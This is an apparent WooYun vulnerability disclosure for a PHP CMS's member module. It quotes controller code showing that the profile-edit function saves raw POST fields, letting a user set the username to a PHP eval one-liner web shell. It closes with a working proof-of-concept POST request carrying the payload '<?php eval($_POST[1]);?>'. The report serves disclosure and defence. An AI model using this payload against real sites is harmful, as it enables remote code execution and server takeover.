WooYun.org

public function register(){
$this->display();
}
//确认注册
function doreg(){
$User = D("Member"); // 实例化User对象
if (!$User->create()){
$this->error($User->getError());
}else{
$data = array_map('strval',$_POST);
$data = array_map('remove_xss',$data);
if(strlen($data['username'])>16){$this->error('用户名太长!');} //字符数不够，根本构造不了<?php eval($_POST[1]);?>
$data['userpwd'] = md5($_POST['userpwd']);
$data['money'] = 0;
$data['is_lock'] = 0;
$data['addtime'] = time();
$User->add($data);
$this->assign('jumpUrl',U('Member/login'));
$this->success('注册成功,请登录~');
}
}

//个人资料修改
function main(){
self::is_login();
if($_POST){
$data = array_map('strval',$_POST);    //跟之前报过的一个漏洞类似，
$data = array_map('remove_xss',$data);
unset($data['money']);//禁止修改money    修复之前的金额任意修改
unset($data['is_lock']);//禁止修改锁定状态 
$data['id'] = $_SESSION['dami_uid'];
$User = D("Member"); // 实例化User对象
if (!$User->create()){
$this->error($User->getError());
}else{
$User->save($data);  //$data 包含了 $_POST的数据，因此我们可以任意修改自己的用户名了，构造一句话也是可以的。 并且数据库里面的长度是80，完全够了。
$this->success('资料保存成功~');
}

URL：
http://localhost/index.php?s=/Member/main.html
POST：
username=<?php eval($_POST[1]);?>&icon=&realname=&tel=&province=%E8%AF%B7%E9%80%89%E6%8B%A9&city=%E8%AF%B7%E9%80%89%E6%8B%A9&area=%E8%AF%B7%E9%80%89%E6%8B%A9&address=&sex=%E7%94%B7&birthday=&zhiwu=&xuexing=A%E5%9E%8B&__hash__=e0373bdd6de617b42762a2866be82f02